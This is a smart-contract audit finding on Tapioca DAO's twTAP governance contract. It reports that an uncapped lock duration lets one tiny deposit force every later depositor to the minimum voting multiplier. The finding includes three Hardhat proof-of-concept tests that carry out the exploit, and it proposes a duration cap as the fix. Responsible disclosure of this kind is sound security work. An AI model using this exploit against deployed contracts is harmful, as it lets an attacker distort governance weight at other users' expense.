Tapioca DAO - rokinot's results

Lines of code

https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/governance/twTAP.sol#L265

Vulnerability details

In twTAP.sol, participate() introduces the user to the twAML voting, with a duration lock. The maximum duration someone can set is type(uint56).max - block.timestamp enforced here, which is about 2.28 billion years. When dealing with an uncapped lock duration, for all intentions and purposes, a lock that lasts for > 50 years can be understood as a lock that lasts forever. The issue arises from the fact that locking for the maximum amount possible affects the weight assignment to an extended degree.

Impact

Subsequent depositors will always be assigned the minimum multiplier regardless of how long they choose to deposit for and how much they deposit.

Proof of Concept

When someone enters the system with a deposit of maximum duration, the magnitude is calculated as followed:

    function computeMagnitude(
        uint256 _timeWeight,
        uint256 _cumulative
    ) internal pure returns (uint256) {
        return
            sqrt(_timeWeight * _timeWeight + _cumulative * _cumulative) -
            _cumulative;
    }

In the case of a first depositor, the cumulative equals duration² as cumulative is currently zero, which is slightly less than 5.2 * 1e33. If the exploit is a subsequent deposit, cumulative will be too low to significantly decrease the amount. Then in lines 279-281, shown below:

            pool.totalParticipants++; // Save participation
            pool.averageMagnitude =
                (pool.averageMagnitude + magnitude) /
                pool.totalParticipants; // compute new average magnitude

The equation returns the average magnitude of the system with a new deposit. The now absurdly inflated magnitude will leave the average extrapolated. If the exploiter is the first one to deposit, cumulative is zero, which triggers divergenceForce. In the case of the exploit happening after the first deposit, _duration is still as high as 2 billion years, and the pool's cumulative, composed of deposits with standard duration times, is not even close to compare. divergenceForce will be set as true, adding the average magnitude to it.

            divergenceForce = _duration > pool.cumulative;


            if (divergenceForce) {
                pool.cumulative += pool.averageMagnitude;
            } 

Finally, when calculating the multiplier of future transactions with computerTarget(), the target result will always be _dMin due a division with _cumulative.

    function computeTarget(
        uint256 _dMin,
        uint256 _dMax,
        uint256 _magnitude,
        uint256 _cumulative
    ) internal pure returns (uint256) {
        if (_cumulative == 0) {
            return _dMax;
        }
        uint256 target = (_magnitude * _dMax) / _cumulative;
        target = target > _dMax ? _dMax : target < _dMin ? _dMin : target;
        return target;
    }

The tests below are run in twTAP.test.ts. It requires a modification in hardhat.export.ts, line 84: increase the count value from 5 to 200. This first test shows a basic implementation of the exploit.

it('Anyone can brick the multiplier', async () => {
        const { twtap, users } = await loadFixture(setupTwTAPFixture);

        //The exploit happens in this tx, the user deposits as low as 1 wei in tokens
        await twtap
            .connect(users[0])
            .participate(users[0].address, 1, 100_000_000 * 52 * WEEK); //100 million years, we don't need the maximum length to simulate the exploit

        //simulates the next 200 users deposits, notice they're all assigned the minimum weight
        for(var i=1;i<users.length;i++) {
            await twtap.connect(users[i]).participate(users[i].address, oneEth.mul(100), 4 * WEEK);

            const twTAPTokenID = await twtap.mintedTWTap();

            const participation = await twtap.getParticipation(twTAPTokenID);

            expect(participation.multiplier).to.be.equal(BN(10 * 1e4));
        }
        
    });

This second test shows an user can deposit a standard amount of funds before depositing 1 TapOFT to dilute future depositors, increasing his relative voting power. Since they're the first depositor, his voting power will be equivalent to 100 participants, regardless of how much they deposit. This scenario techinically requires more funds but it's costs are still negligible.

    it('First deposit has increased voting power', async () => {
        const { twtap, users } = await loadFixture(setupTwTAPFixture);

        //User 0 enters with a standard deposit
        await twtap.connect(users[0]).participate(users[0].address, oneEth.mul(100), 4 * WEEK);

        let twTAPTokenID = await twtap.mintedTWTap();

        let participation = await twtap.getParticipation(twTAPTokenID);

        expect(participation.multiplier).to.be.equal(BN(100 * 1e4)); //maximum weight

        //Exploit tx
        await twtap
            .connect(users[0])
            .participate(users[0].address, oneEth.mul(1), 100_000_000 * 52 * WEEK); 

        for(var i=1;i<users.length;i++) {
            await twtap.connect(users[i]).participate(users[i].address, oneEth.mul(100), 52 * WEEK);

            let twTAPTokenID = await twtap.mintedTWTap();

            let participation = await twtap.getParticipation(twTAPTokenID);

            expect(participation.multiplier).to.be.equal(BN(10 * 1e4));
        }
        
    });

This third test shows the exploit can be executed even if the attacker is not the first depositor, compromising future users still, though the higher the number of previous deposits, the more expensive the attack becomes.

    it('Exploit is still open even with previous deposits', async () => {
        const { twtap, users } = await loadFixture(setupTwTAPFixture);

        for(let i=0;i<users.length;i++) { //simulates users depositing first.
            await twtap.connect(users[i]).participate(users[i].address, oneEth.mul(100), 52 * WEEK);

            if(i == 10) { //we assume the exploiter is the 10th deposit
                await twtap
                .connect(users[0])
                .participate(users[0].address, oneEth.mul(50), 100_000_000 * 52 * WEEK); 
            } else if (i > 10) {
                let twTAPTokenID = await twtap.mintedTWTap();

                let participation = await twtap.getParticipation(twTAPTokenID);

                expect(participation.multiplier).to.be.equal(BN(10 * 1e4));
            }
        }
        
    });

Tools Used

Manual code reading, yarn

Recommended Mitigation Steps

Duration should have a ceiling cap. In the example below, I propose an implementation of a requirement with a constant called MAX_DURATION, with a value that is up to developers to assign. It's impossible to know how long the project will last for, but for a conservative estimate, 10 years should be enough.

uint256 constant MAX_DURATION = 10 years;

require(_duration < MAX_DURATION, "twTAP: Lock too high");

Assessed type

Math